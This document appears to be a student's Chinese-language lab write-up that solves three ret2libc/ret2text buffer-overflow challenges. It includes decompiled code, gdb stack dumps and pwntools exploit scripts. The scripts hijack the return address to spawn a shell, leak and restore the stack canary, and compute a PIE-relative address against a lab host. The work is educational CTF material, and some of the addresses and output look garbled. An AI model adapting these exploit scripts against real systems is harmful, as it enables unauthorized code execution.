

Return2libc

叶梓淳 520030910302

2023/4/7

1 ret2libc1

首先用 Ghidra 分析二进制文件得到反汇编代码。选取 main 函数和 echo 函数对应代码如下：

- main 函数

```
1 undefined8 main(EVP_PKEY_CTX *param_1)
2
3 {
4     init(param_1);
5     echo();
6     return 0;
7 }
```

- echo 函数

```
9 undefined8 echo(void)
10
11 {
12     char local_78 [112];
13
14     memset(local_78,0,100);
15     while (local_78[0] != 'q') {
16         memset(local_78,0,100);
17         puts("say something");
18         read(0,local_78,0x8c);
19         printf("%s",local_78);
```

```
20     }
21     return 0;
```

可以看到，main 函数的核心部分为 echo 函数，而 echo 函数检查输入第一个字符是否为'q'，是则退出，否则循环。再观察到 text 段中还有一个 secret 函数，功能如下：

```
22 void secret(void)
23
24 {
25     system("/bin/sh");
26     return;
27 }
```

secret 函数执行的是 libc 库里的 system 函数，且参数正是我们想要的"/bin/sh"，再查看程序保护措施：

```
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.9.0)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/test/babyrepeater1'
Arch:    amd64-64-little
RELRO:   Partial RELRO
Stack:   No canary found
NX:      NX enabled
PIE:     No PIE (0x400000)
test@9-9:~$
```

canary 和 PIE 均未开启，则直接使用 ret2text 攻击。查看栈顶距离 eip 的距离如图，为 0x78。

```

-----code-----
0x4012cb <echo+127>: jne    0x401270 <echo+36>
0x4012cd <echo+129>: mov     eax,0x0
0x4012d2 <echo+134>: leave
=> 0x4012d3 <echo+135>: ret
0x4012d4 <main>:      endbr64
0x4012d8 <main+4>:   push   rbp
0x4012d9 <main+5>:   mov     rbp,rsp
0x4012dc <main+8>:   mov     eax,0x0

-----stack-----
0000| 0x7fffffffefb38 --> 0x4012f0 (<main+28>:   mov     eax,0x0)
0008| 0x7fffffffefb40 --> 0x401300 (<_libc_csu_init>:   endbr64)
0016| 0x7fffffffefb48 --> 0x7ffffffa03c87 (<_libc_start_main+231>:   mov     edi,eax)
0024| 0x7fffffffefb50 --> 0x2000000000 ("")
0032| 0x7fffffffefb58 --> 0x7ffffffefec28 --> 0x7fffffffee44 ("/home/test/babyrepeater1")
0040| 0x7fffffffefb60 --> 0x1000000000
0048| 0x7fffffffefb68 --> 0x4012d4 (<main>:      endbr64)
0056| 0x7fffffffefb70 --> 0x0

-----
Legend: code, data, rodata, value
0x00000000004012d3 in echo ()
gdb-peda$ x/32wx 0x7fffffffeac0
0x7fffffffeac0: 0x71717171    0x71717171    0x000000a71    0x00000000
0x7fffffffead0: 0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffeae0: 0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffeaf0: 0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffeb00: 0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffeb10: 0x00000000    0x00000000    0x00000000    0x00000000
0x7fffffffeb20: 0x00000000    0x00000fff    0x00401232    0x00000000
0x7fffffffeb30: 0xfffffeb40    0x00000fff    0x004012f0    0x00000000
gdb-peda$

```

Secret 函数的地址为 0x00401235，则编写脚本如下：

- 脚本 1

```
1 from pwn import *
2
3 io = remote("10.0.0.10", 40003)
4
5 io.recvuntil("something")
6
7 io.send(b'q'*0x78 + p32(0x00401235))
8
9 io.interactive()
```

运行结果如下，得到 flag。

```
test@9-91:~$ python exp.py  
[+] Opening connection to 10.0.0.10 on port 40003: Done  
[*] Switching to interactive mode
```

aa5x12

```
babyrepeater1  
flag  
start.sh  
cat flag  
flag(ret2libc_nongonomonostackprotector)
```

2 ret2libc2

用 Ghidra 反汇编得到 echo 函数的代码：

- echo 函数

```
29 undefined8 echo(void)
30
31 {
32     long in_FS_OFFSET;
33     char local_78 [104];
34     long local_10;
35
36     local_10 = *(long *)(in_FS_OFFSET + 0x28);
37     memset(local_78,0,100);
38     while (local_78[0] != 'q') {
39         memset(local_78,0,100);
40         puts("say something");
41         read(0,local_78,0x8c);
42         printf("%s",local_78);
43     }
44     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
45         /* WARNING: Subroutine does not return */
46         __stack_chk_fail();
47     }
48     return 0;
49 }
```

相比上题引入了 canary 机制，与下图结论相符合：

```
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/test/babyrepeater2'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
test@9-10:~$
```

解决此题的想法是先用 printf 把 local_10 的值打印出来，然后在 padding 的时候把 local_10 的值填回去，从而改变 eip 执行 secret 函数。栈顶地址为 0x7ffffffeac0，local_10 的地址由下图所得：

```

[-----Registers-----]
RAX: 0x30e8e6297f1da900
RBX: 0x0
RCX: 0x7ffff7af2184 (<_GI_libc_write+20>: cmp rax,0xffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0
RSI: 0x7ffff7dce7e3 --> 0xdcf8c000000000a
RDI: 0x1
RBP: 0x7ffff7feb30 --> 0x7ffff7feb40 --> 0x401340 (<_libc_csu_init>: endbr64)
RSP: 0x7ffff7feac0 --> 0x7ffff7dca2a0 --> 0x0
RIP: 0x401281 (<echo+21>: mov QWORD PTR [rbp-0x8],rax)
R8 : 0xf
R9 : 0x7ffff7fee4c0 (0x00007ffff7fee4c0)
R10: 0x3
R11: 0x246
R12: 0x401110 (<_start>: endbr64)
R13: 0x7ffff7fec20 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----Code-----]
0x401271 <echo+5>: mov rbp, rsp
0x401274 <echo+8>: sub rsp, 0x70
0x401278 <echo+12>: mov rax, QWORD PTR fs:0x28
=> 0x401281 <echo+21>: mov QWORD PTR [rbp-0x8], rax
0x401285 <echo+25>: xor eax, eax
0x401287 <echo+27>: lea rax, [rbp-0x70]
0x40128b <echo+31>: mov edx, 0x64
0x401290 <echo+36>: mov esi, 0x0
[-----Stack-----]

```

[rbp-0x8], 即 0x7ffff7feb28。需要注意的是, local_10 的最低字节固定为 0, 意味着第一次打印到此处会停止, 因此我们需要更改最后一个字节为 '1', 再次输入的时候把 local_10 最低位更改为 0 即可。栈顶距离 eip 存放地址的字节数为 0x78。最终脚本如下:

- 脚本 2

```

11 from pwn import *
12
13 io = remote("10.0.0.10", 40004)
14
15 io.recvuntil("something")
16
17 io.send(b'A'*0x64 + b'ABCD1')
18
19 io.recvuntil("ABCD")
20
21 local_10 = u64(io.recv(8))
22
23 local_10 -= 49
24
25 io.send(b'q'*0x68 + p64(local_10) + b'a'*0x8 + p32(0x00401259))
26
27 io.interactive()

```

运行结果如下, 得到 flag。

```
[*] Switching to interactive mode
say something
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ls
flag
babyrepeater2
start.sh
9 cat flag
flag(ret2libc_canary_stackprotector)
$ █
```

3 ret2libc3

此题汇编代码与 ret2libc2 基本一致，唯一的区别是开启了 PIE 保护。

```
test@9.11:~$ checksec babyrepeater3
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/test/babyrepeater3'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
test@9.11:~$
```

即每次程序加载的基地址都会改变，但是指令间的相对距离不会改变，因此，我们可以把原来跳转的 `main` 函数的指令的地址打印出来，再通过相对距离计算出 `secret` 函数的地址。首先调试程序，原跳转指令的地址：

```

                                code
0x55555555321 <echo+162>:    je      0x55555555328 <echo+169>
0x55555555323 <echo+164>:    call   0x55555555328 <echo+169>
0x55555555328 <echo+169>:    leave  [rsp]
=> 0x55555555329 <echo+170>:    ret
0x5555555532a <main>:      endbr64
0x5555555532e <main+4>:    push   rbp
0x55555555332f <main+5>:    mov    rbp, rsp
0x55555555332 <main+8>:    mov    eax, 0x0

[-----stack-----]
0000 0x7fffffffefb38 --> 0x55555555346 (<main+28>:      mov    eax, 0x0)
0008 0x7fffffffefb40 --> 0x55555555350 (<_libc_csu_init:  endbr64)
0016 0x7fffffffefb48 --> 0x7ffff7a03c8 (<_libc_start_main+231>: mov    edi, eax)
0024 0x7fffffffefb50 --> 0x20000000000 ('')
0032 0x7fffffffefb58 --> 0x7fffffec28 --> 0x7fffffee44 ("/home/test/babyrepeater3")
0040 0x7fffffffefb60 --> 0x100000000
0048 0x7fffffffefb68 --> 0x5555555532a (<main>:      endbr64)
0056 0x7fffffffefb70 --> 0x0

Legend: code, data, rodata, value
0x00000055555555329 in echo ()
gdb-peda$ n

```

即 0x5555555555346，共 6 字节，且不论如何变化均为 6 字节。再在汇编代码中找到 main 函数中指令的地址为 0x00101346，secret 函数指令的地址为 0x0010126c，于是我们可以写下此段脚本：

- ## ● 脚本 3

```
from pwn import *
io = remote("10.0.0.10", 40005)
io.recvuntil("something")
io.send(b'A'*0x64 + b'ABCD1')
io.recvuntil("ABCD")
local_10 = u64(io.recv(8))
io.send(b'a'*0x68 + p64(local_10) + b'b'*0x8)
io.recvuntil("bbbbbbbb")
ori_eip = io.recv(6)
ori_eip = int.from_bytes(ori_eip, byteorder='little', signed=False)
to_eip = ori_eip - int(0x00101346) + int(0x0010126c)
to_eip = to_eip.to_bytes(6, byteorder='little', signed=False)
local_10 -= 49
io.send(b'q'*0x68 + p64(local_10) + b'b'*0x8 + to_eip)
io.interactive()
```

运行结果如下，得到 flag。

```
ret@9-11:~$ python exp.py  
[+] Opening connection to 10.0.0.10 on port 40005: Done  
[*] Switching to interactive mode  
  
say something  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa $ ls  
babyrepeater3  
flag  
  
start.sh  
$ cat flag  
flag{ret2libc_alllllll_stackprotector}  
$
```